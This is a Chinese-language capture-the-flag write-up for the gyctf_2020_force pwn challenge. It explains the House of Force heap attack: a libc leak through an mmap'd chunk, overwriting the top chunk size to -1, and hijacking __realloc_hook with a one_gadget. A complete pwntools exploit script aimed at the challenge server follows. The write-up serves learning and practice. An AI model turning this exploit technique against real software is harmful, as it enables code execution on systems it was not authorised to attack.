这道题的知识点在wiki上force,就是说把top chunk的size改为-1,并且需要知道top chunk的位置,在进行一次malloc,直接将堆分配到你想写入地址的地方(这里的one_gadget需要平衡栈帧,使栈帧满足one_gadget的环境,可以看这位师傅的博客和这位师傅的博客)
静态分析
就一个add函数和一个假的show函数,并且很容易发现这里没有malloc的size大小限制,还会打印bin的地址,还有堆溢出
思路
- 通过静态分析,我们很容易发现没有大小限制,我们直接分配一个很大的地址,造成mmap来为我们分配一块内存给我们用,而mmap分配的内存跟libc的基址有一段固定的偏移(可以通过调试获得),然后通过打印bin地址的功能,就泄露出了libc
- 泄露出libc后,我们将top chunk的size大小改成-1,这样我们就可以想分配哪,就分配哪了,所以计算出目标和top chunk的偏移,这里我们要劫持__realloc_hook函数
- 计算出偏移后,这个偏移还需要减去0x33,这时top chunk会在(目标地址-0x20的地方),我们将__realloc_hook劫持为我们的one_gadget,但是后面的__malloc_hook需要改成realloc地址+0x10处才行
exp
from pwn import * context.log_level = 'debug' #p=process('./gyctf_2020_force') p=remote('node3.buuoj.cn',29873) one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147] def add(size, content): p.recvuntil("2:puts ") p.sendline('1') p.recvuntil("size ") p.sendline(str(size)) p.recvuntil("bin addr ") addr = int(p.recvuntil(' ').strip(), 16) p.recvuntil("content ") p.send(content) return addr def show(index): p.recvuntil("2:puts ") p.sendline('2') offset=add(0x200000,'pppp') libc_base=0x200ff0+offset libc=ELF('../libc-2.23.so') libc.address=0x200ff0+offset malloc_hook=libc.symbols['__malloc_hook'] one=one_gadget[1] + libc.address realloc = libc.sym['__libc_realloc'] top=add(0x18,b'p'*0x10+p64(0)+p64(0xFFFFFFFFFFFFFFFF))+0x10 print(hex(malloc_hook-top)) offset = malloc_hook - top add(offset-0x33,'ppp ') add(0x10,b'p'*0x8+p64(one)+p64(realloc + 0x10)) #gdb.attach(p) p.interactive()
参考博客: